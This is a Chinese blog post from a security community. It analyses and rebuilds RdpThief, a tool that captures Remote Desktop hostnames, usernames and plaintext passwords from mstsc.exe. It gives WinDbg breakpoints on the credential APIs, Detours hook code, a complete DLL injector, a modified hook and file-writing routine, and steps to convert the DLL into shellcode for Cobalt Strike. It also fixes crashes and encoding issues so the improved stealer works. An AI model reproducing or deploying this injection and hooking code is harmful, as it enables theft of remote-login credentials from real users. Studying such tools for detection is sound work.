RdpThief 是一个可以获取rdp密码的工具
0x01 前言
RdpThief 其实一个老工具了(19年的),奈何我太菜了,最近才发现,所以今天还是老样子,咱们继续分析一下工具原理。大佬请绕路!!
本人知识有限,如果有错误的地方,请各位大佬指出!
0x02 复现
首先,肯定是先复现一波。去 https://github.com/0x09AL/RdpThief 把仓库下载下来
然后把RdpThief_x64.tmp
和RdpThief.cna
放到 cs 服务端的scripts
目录下,然后用 cs 的脚本管理器
加载RdpThief.cna
插件就行,这个我就不截图了。。
然后就是根据 README 所说的,rdpthief_enable
启动,等待受害机器打开mstsc
远程连接别的机器。当看到Tasked beacon to inject...
,接着输rdpthief_dump
就可以看到主机+账号+密码了
下图虽然有很多方框,但是勉强还是能看到内容的。此外,我们仔细观察会发现,第二段的 server 是乱码。。
0x03 分析准备
测试环境:两台 win10
用到的工具:
首先打开 API Monitor,在API Filter
->Capture
,把所有项都勾上
同时,在API Filter
->Display
增加一项,把 DLLMAIN
动态链接库入口函数隐藏掉,如下:
接着我们Win+R
打开运行窗口,输入mstsc
打开远程桌面连接
然后回到 API Monitor,在Running Processes
窗口找到刚刚打开的mstsc.exe
进程,右键->Start Monitoring
接着展开Monitored Processes
窗口下的mstsc.exe
进程->Modules
->mstsc.exe
,如下图:
其实这里直接双击
Monitored Processes
窗口下的mstsc.exe
进程,在这里直接搜索就行。
然后回到远程桌面连接,输入要远程的机器ip+用户名+密码
成功连接之后,API Monitor 要抓的数据已经齐全,因此准备工作到此结束。接下来是开始分析了。
0x04 分析
1. 拦截用户名
在mstsc.exe
下搜索刚刚登录的用户名root
,如下图:
可以看到,我们的用户名出现在Advapi32.dll
下的CredIsMarshaledCredentialW
函数的第一个参数LPTSTR
里面。
接下来用 WinDBG 调试一下,直接附加(Attach)mstsc.exe
在ADVAPI32.dll
下的CredIsMarshaledCredentialW
函数上打断点,并且输出 rcx 寄存器的内容
bp ADVAPI32!CredIsMarshaledCredentialW "du @rcx"
为啥要查看rcx寄存器的内容呢?这里涉及一个函数调用规定--
fast call
:一个函数在调用时,前四个参数是从左至右依次存放于RCX
、RDX
、R8
、R9
寄存器里面
而,通过API Monitor 我们已经得知,CredIsMarshaledCredentialW
函数只有一个参数,因此其值会放在rcx
寄存器中
如果我们现在直接打断点,会出现错误如下:
这是为啥呢?为啥找不到这个函数呢?我首先怀疑的是符号表没有加载好。
lm m ADVAPI32
发现已经加载了,那就是函数名字变了,于是我用*
模糊搜一下
x ADVAPI32!CredIsMarshaled*
发现函数名字改了。。。根本不是CredIsMarshaledCredentialW
,看来API Monitor
还是有点问题的。现在不太确定是哪个函数,没关系,两个都打上断点试试
bp ADVAPI32!CredIsMarshaledCredentialA "du @rcx"
bp ADVAPI32!CredIsMarshaledCredentialWStub "du @rcx"
然后按F5
或者点击如图的图标或者在命令窗口输入g
运行
点击连接
,输入密码,触发断点。
发现断点断在了ADVAPI32!CredIsMarshaledCredentialWStub
,且用户名打印了出来
至于为啥要看 rcx,上面已经解释了,fast call
的原因,第一个参数放在rcx
上。当然,我们也可以很暴力的,直接把 rcx 寄存器所在的内存打印出来看看就知道了
db rcx
ok,用户名到手!
2. 拦截主机名
接下来是主机名,回到API Monitor
,同样还是module
下的mstsc.exe
从上图可知,主机名出现在了Advapi32.dll
下的CredReadW
函数的第一个参数上。继续搜搜
发现主机名也出现在了SspiCli.dll
下的SspiPrepareForCredRead
函数的第二个参数上。
WinDBG走起,为了下面方便,把刚刚设置的断点给关掉先,也可以直接Debug
->Restart
,简单粗暴
bl # 列出断点
bd 0 # 禁用0号断点
bd 1 # 禁用1号断点
直接点图中的
Disable
或者Clear
也行
有了刚刚的错误经验,我们可以先看看
x ADVAPI32!CredRead*
果然变了,打上断点,g
运行,然后点击连接
,触发断点
bp ADVAPI32!CredReadWStub "du @rcx"
发现啥也没有,输入g
,再次运行,又触发了断点,这次有内容了。
同样地,为啥看 rcx,因为是第一个参数,打印一下即可,这里发现,rcx 和 rbx 都有
再看看第二个函数SspiPrepareForCredRead
,因为是第二个参数,所以这里打印rbx
,同时记得把刚刚的断点禁用掉。
bp SSPICLI!SspiPrepareForCredRead "du @rdx"
ok,主机名到此为止。
3. 密码
接下来就是密码了。对于 Windows 的应用程序来说,如果内存中有一些敏感数据需要加解密,可以使用 DPAPI(数据加密保护接口)。DPAPI 是Windows系统级对数据进行加解密的一种接口。具体可以参考:https://blog.csdn.net/xiaoqing_2014/article/details/79546957 。基于这个前提,我们可以简单的认为(我猜Rio也是这样想的),rdp登录的密码,也会用到它,即加解密内存的接口CryptProtectMemory
和CryptUnprotectMemory
。
直接双击Monitored Processes
窗口下的mstsc.exe
进程,直接搜CryptProtectMemory
,找到调用。
首先是把用户名丢过去加密了。
然后才是我们需要的密码。
这个密码直接搜是搜不到的。。
由上图得知,我们的密码确实出现在Crypt32.dll
下的CryptProtectMemory
的第一个参数pData
里面,直接上 WinDbg 打断点。
bp crypt32!cryptprotectmemory
无法识别,如下图
老规矩,模糊搜一下,发现只有一个CryptProtectData
,那还等啥,直接打断点
x crypt32!CryptProtect*
bp CRYPT32!CryptProtectData
输入g
,连接,输密码,直接连上了。。。。
为啥没有停在断点上????是不是我操作出错了???然后我重新试了一下,发现还是没有停下来。
先思考一下没有停下来的原因。回忆一下刚刚的流程:本来我们应该要给crypt32!cryptprotectmemory
打断点,但是找不到,所以我们模糊搜了下,发现只有crypt32!CryptProtectData
有点类似,所以给它打断点了,最后运行的时候没有停下来。说明这个有点类似的函数crypt32!CryptProtectData
根本不是 API Monitor 中提到的函数,所以现在的解决思路就是,找一下crypt32!cryptprotectmemory
函数,到底是不是在crypt32
模块中。
于是我决定,找官方文档:https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectmemory
官方文档也是说这个函数在Crypt32.dll
里面。
因此,我不得不搬出神器:https://github.com/strontic/xcyclopedia , 它的网页版在 https://strontic.github.io/ ,在上面搜 CryptProtectMemory
,发现,该函数除了在crypt32.dll
有,在dpapi.dll
里面也有。
点开 https://strontic.github.io/xcyclopedia/library/dpapi.dll-BC3EF1D4F109A82BDFE085604B822517.html 看一下,它已经作为dpapi.dll
的导出函数了。。。
不多bb,WinDbg 直接Ctrl+Shift+F5
重启,打断点
bp dpapi!cryptprotectmemory
发现还是报错。模糊搜一下 :
x DPAPI!crypt*
发现连DPAPI
模块都没有识别出来,查一下模块加载
lm m DPAPI
果然这个DPAPI.dll
还没加载,对于没有加载的模块,打断点,我们都是用bu
预加载代替bp
的
实际上,
bp
打断点没有找到的话,会自动转换成bu
,这里之前已经用bp
打过断点了,所以这里就不再用bu
打了
bu dpapi!cryptprotectmemory
打完断点后,g
运行,连接,输密码,停在了dpapi!CryptProtectMemory
处
此时我们查看一下rcx
(第一个参数)的内容,发现里面出现了用户名,对应上了刚刚 API Monitor 中看到的,第一次是加密用户名。
接下来输入g
继续运行,再查看一下rcx
的内容,终于看到了我们梦寐以求的密码了
可以看到前面有4个字节的内容我们是用不到的,所以可以跳过这四个字节,直接显示密码
du @rcx+4
当然,我们也得搞懂,这4个字节代表啥,直接访问官方文档 https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectmemory ,查看第一个参数的含义。里面该参数里面还有个cbData
,用于指定将被加密的字节数,所以这四个字节,就是存要加密的密码的字节数的。
至此,密码到手。
4. 小结
综上,我们会用到以下的 API:
CredIsMarshaledCredentialWStub
--> 用户名CredReadWStub
/SspiPrepareForCredRead
--> 主机名CryptProtectMemory
--> 密码
0x05 RdpThief
detours 的简单使用
分析了这么久,终于要开始研究大佬写的 RdpThief 了,因为 RdpThief 使用 detours 库开发的,所以这里简单提一下该库的使用。具体可以看链接: https://blog.csdn.net/z971130192/article/details/100565398 。
直接上Github下载:https://github.com/microsoft/detours。
下面就可以开始编译工作了。
解压后的文件夹应该如下图所示:
然后,在开始菜单中找到x64 Native Tools Command Prompt for VS 2019
和 x86 Native Tools Command Prompt for VS 2019
,这两个可以分别用来编译64位和32位的Detours,如下图所示。
下面就简单了,以x64 Native Tools Command Prompt for VS 2019
为例,定位路径到解压的 Detours 文件夹的 src
目录下,然后使用 nmake
编译,编译完成后,会在根目录生成bin.X64
、lib.X64
、include
这三个文件夹,如图所示:
cd src
nmake /f Makefile
接着我们新建一个vs项目,右键项目->属性
配置属性->VC++目录,把刚刚生成的include
目录加到包含目录
里面,lib.X64
目录加到库目录
里面
然后我们写一个测试代码了,如下:
#define _CRT_SECURE_NO_DEPRECATE
#include <iostream>
#include <windows.h>
// 关键是这两行,导入 detours
#include "detours.h"
#pragma comment(lib, "detours.lib")
using namespace std;
int (WINAPI* Old_MessageBoxW)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) = MessageBoxW;
int WINAPI New_MessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType)
{
// 这里可以做任意的操作
return Old_MessageBoxW(NULL, L"Hooked MessageBoxW content", L"Hooked MessageBoxW title", NULL);
}
void Hook()
{
DetourTransactionBegin(); // 开始一个事务,拦截开始
DetourUpdateThread(GetCurrentThread()); // 更新当前线程
DetourAttach(&(PVOID&)Old_MessageBoxW, New_MessageBoxW);// 将拦截的函数 New_MessageBoxW 附加到原函数 Old_MessageBoxW 的地址上
DetourTransactionCommit(); // 提交事务,拦截生效
}
void DeHook()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)Old_MessageBoxW, New_MessageBoxW);// 解除 Hook ,将拦截的函数从原函数的地址解除
DetourTransactionCommit();
}
int main()
{
// 先调用一下原来的函数
MessageBoxW(NULL, L"原来的MessageBoxW content", L"原来的MessageBoxW title", NULL);
// hook之后再调用
Hook();
MessageBoxW(NULL, L"原来的MessageBoxW content", L"原来的MessageBoxW title", NULL);
// unhook 之后再调用
DeHook();
MessageBoxW(NULL, L"原来的MessageBoxW content", L"原来的MessageBoxW title", NULL);
return 0;
}
效果如下:
可能有些同学会好奇,代码中定义的这个MessageBoxW
函数的函数指针是怎么拿到的,很简单,代码中调用一下MessageBoxW
,然后右键 -> 转到定义
就可以看到定义了。
重新编译 RdpThief
在了解完 detours 库的简单使用之后,我们开始研究 RdpThief 的代码。
先把代码下载下来,然后用 vs 新建一个动态链接库(DLL)
把RdpThief.cpp
直接拖进 vs 的项目中,并且把原来vs的项目中的dllmain.cpp
文件删掉,同时把RdpThief.cpp
代码中的#include "stdafx.h"
改成#include "pch.h"
,并加一行#pragma comment(lib, "detours.lib")
如下:
stdafx.h
包含了targetver.h
,targetver.h
里面又包含了SDKDDKVer.h
,这玩意给老版本的 windows 用的,包不包含其实问题不大,这里我就不管了。
因为还没配置 detours,所以会报错。首先选择一下版本和平台。
然后按照上面小节中的,配置 detours 的过程配置一下就行,如下:
配置完后,就不会报错了。现在就可以选择生成
->重新生成解决方案
来生成dll了
因为我选择了Release
和X64
,所以生成的 dll 在代码文件夹下的 x64 -> Release
测试 RdpThief.dll 是否可用
生成了 dll 之后,我们得测试一下,这玩意能不能用。怎么测试呢?把 dll 注入到mstsc.exe
进程中就行。好啦,接下来这部分的内容就是dll注入的内容了。
因为dll注入不是本文的重点,所以这里不会详细讲解,只列出大概的注入过程,有机会的话,后面我们可以仔细探讨一下。
- 打开进程句柄
- 分配一块可读写的内存空间
- 将所需DLL的路径写入内存
- 获得LoadLibraryA函数地址
- 通过远程线程执行LoadLibraryA函数,并且指定参数为DLL路径的内存地址
这里多了一个getPPID
函数,主要用于根据进程名,自动获取进程id,懒得每次手动输入 mstsc.exe 的 pid 了。
#define _CRT_SECURE_NO_DEPRECATE
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
// 根据进程名,获取进程id
DWORD getPPID(LPCWSTR processName) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process)) {
do {
if (!wcscmp(process.szExeFile, processName))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
int main() {
HANDLE processHandle;
PVOID remoteBuffer;
// 修改这里的dll路径
wchar_t dllPath[] = TEXT("E:\\code\\RdpThief\\x64\\Release\\RdpThief.dll");
LPCWSTR parentProcess = L"mstsc.exe";
DWORD parentPID = getPPID(parentProcess);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, parentPID);
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}
先打开win+r
->mstsc
打开远程桌面,然后运行上面代码,运行结束后,再点连接输入密码。连接成功后,在temp
目录下就可以看到生成的data.bin
了
win+r
,输入%temp%
可以打开临时目录。因为RdpThief.dll
把抓到的账号密码放到了临时目录下的data.bin
,所以我们要看这里。
ok,至此,我们已经知道怎么测试 RdpThief.dll 了。
修改 RdpThief
所以,接下来就是修改 RdpThief 了。RdpThief 使用把SspiPrepareForCredRead
拦截主机名,这里把 SspiPrepareForCredRead
修改成 CredReadWStub
拦截主机名。
还记得之前我们咋找到 MessageBoxW 的定义吗?这里也一样,随便找个地方,直接输入CredReadWStub
,尴尬的是,只有CredReadW
没有CredReadWStub
,这点倒是和WinDbg中的不一样,和 API Monitor中的一样。确实把我搞蒙了,如果有大佬知道,麻烦告知一下。
那既然没有CredReadWStub
,那就用CredReadW
呗,右键->转到定义,拿到了如下的定义。
WINADVAPI
BOOL
WINAPI
CredReadW (
_In_ LPCWSTR TargetName,
_In_ DWORD Type,
_Reserved_ DWORD Flags,
_Out_ PCREDENTIALW *Credential
);
所以简单改改,函数指针就有了。
static BOOL (WINAPI * OriginalCredReadW)(_In_ LPCWSTR TargetName, _In_ DWORD Type, _Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential) = CredReadW;
然后仿造这个函数声明,定义一个HookedCredReadW
函数,函数里面只把参数TargetName
赋值给全局变量lpServer
就行。整体如下:
这个全局变量就是之后写入文件中的主机名了
static BOOL (WINAPI * OriginalCredReadW)(_In_ LPCWSTR TargetName, _In_ DWORD Type, _Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential) = CredReadW;
BOOL HookedCredReadW(_In_ LPCWSTR TargetName, _In_ DWORD Type, _Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential)
{
// 拿到主机名
lpServer = TargetName;
// 其他不变,调用原来的函数
return OriginalCredReadW(TargetName, Type, Flags, Credential);
}
当然,我们需要注册新的 hook HookedCredReadW
并取消注册旧的 hook _SspiPrepareForCredRead
。
DetourAttach(&(PVOID&)OriginalCredReadW, HookedCredReadW);
DetourDetach(&(PVOID&)OriginalCredReadW, HookedCredReadW);
重新生成dll,并按照上一小节的测试过程,重新测试一遍,可以看到效果一致
记得把原来的 data.bin 删了
看一下代码
其实整体代码,唯一有点小疑问的,就是CryptProtectMemory
的 hook 函数那里,第一个参数pDataIn
的地址,为啥要+0x1
其实仔细想想,我们之前分析的时候,第一个参数 pDataIn
里面,前四个字节是cbData
,4个字节,不正正好是偏移一个地址吗?所以这个+0x1
刚刚好。
0x06 cna插件
根据作者在文章 https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/ 中提到的,可以用 https://github.com/monoxgas/sRDI 把 dll 转换成 shellcode,让cs加载。
具体就是把sRDI 仓库下载下来后,进入其python
文件夹,运行以下命令,然后把生成的RdpThief.bin
改名成RdpThief_x64.tmp
python3 ConvertToShellcode.py RdpThief.dll
然后放在cs 服务端下,加载插件就行,具体可以参看《0x02 复现》那一小节。从下图可以看出来,我们自己编译的dll,转换成的shellcode,cs可以正常加载,并且能成功拿到密码。
0x07 解决方框问题
rdpthief_dump
命令,实际上是用 type 命令读取%temp%\data.bin
,会出现方框,肯定是编码的问题
原来的写文件代码如下:
VOID WriteCredentials() {
const DWORD cbBuffer = 1024;
TCHAR TempFolder[MAX_PATH];
GetEnvironmentVariable(L"TEMP", TempFolder, MAX_PATH);
TCHAR Path[MAX_PATH];
StringCbPrintf(Path, MAX_PATH, L"%s\\data.bin", TempFolder);
HANDLE hFile = CreateFile(Path, FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WCHAR DataBuffer[cbBuffer];
memset(DataBuffer, 0x00, cbBuffer);
DWORD dwBytesWritten = 0;
StringCbPrintf(DataBuffer, cbBuffer, L"Server: %s\nUsername: %s\nPassword: %s\n\n",lpServer, lpUsername, lpTempPassword);
WriteFile(hFile, DataBuffer, wcslen(DataBuffer)*2, &dwBytesWritten, NULL);
CloseHandle(hFile);
}
它使用 unicode(wchar)编码的,所以我们可以考虑,把 wchar 转成 char 试试。
直接修改RdpThief.cpp
,首先增加三行代码,因为用到了string
和ofstream
#include <iostream>
#include <fstream>
using namespace std;
然后增加一个 wchar 转 char 的方法,这里用到了WideCharToMultiByte 函数
char* UnicodeToChar(LPCWSTR unicode_str)
{
int num = WideCharToMultiByte(CP_OEMCP, NULL, unicode_str, -1, NULL, 0, NULL, FALSE);
char* pchar = (char*)malloc(num);
WideCharToMultiByte(CP_OEMCP, NULL, unicode_str, -1, pchar, num, NULL, FALSE);
return pchar;
}
剩下的就是写文件了,先把原来的WriteCredentials
方法注释掉,然后加入以下的方法。
VOID WriteCredentials()
{
// 获取临时目录,并转换成char*
TCHAR wtempPath[MAX_PATH];
DWORD dwSize = 50;
GetTempPath(dwSize, wtempPath);
char tempPath[MAX_PATH];
wcstombs(tempPath, wtempPath, wcslen(wtempPath) + 1);
string temp_path(&tempPath[0], &tempPath[strlen(tempPath)]);
// 打开临时文件
ofstream f_temp(temp_path + "data.bin");
if (f_temp) {
f_temp << "Server: " << UnicodeToChar(lpServer) << "\nUsername:" << UnicodeToChar(lpUsername) << "\nPassword: " << UnicodeToChar(lpTempPassword) << "\n\n";
}
f_temp.close();
}
因为这里用了wcstombs
,vs 可能会报错如下:
'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
找到项目属性
-> 配置属性
->C++
里的预处理器定义
,在里面加入一段代码:_CRT_SECURE_NO_WARNINGS
即可。
然后重新打包成dll,测试一波,没毛病
这里我测试的时候,生成的文件是 temp_out.txt 而不是 data.bin
然后就是老规矩,用 sRDI 把dll转成 shellcode,丢给cs试试,也没问题
后面测试发现,主机名+账号+密码,有时候能够完整的获取到,有时候又不行,直接是乱码,最后我是在没辙了,把原来的方法改成WriteCredentials_bak
,放到我新的方法后面再调一遍,别问为什么,问就是两种编码结合,稳。
0x08 解决 win7 无法使用问题
win7 系统下,一注入dll,mstsc.exe 就会崩溃。。。解决方法如下:
项目->属性->配置属性->C/C++ -> 代码生成,把运行库从多线程DLL(/MD)
改成多线程(/MT)
即可
结果如下:
0x09 福利时间
老样子,所用到的代码,和编译后的,都丢到了 Github:https://github.com/fengwenhua/RdpThief ,自取。
0x0a 后言
本文有两个小尾巴其实没有完全解决,不过,先留着吧,以后随着技术提高,我相信我会搞明白的。
- API Monitor 和 WinDbg 和 VS 里面,函数名不一样,这到底为啥??
- cs 插件加载后,获取到的数据,有时候会乱码,这又是为啥??
0x0b 参考链接
https://github.com/0x09AL/RdpThief
都看到这里了,不管你是直接拉到底的,还是看到底的,要不辛苦一下,给点个推荐呗?
- 本文作者: 江南小虫虫
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1061
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!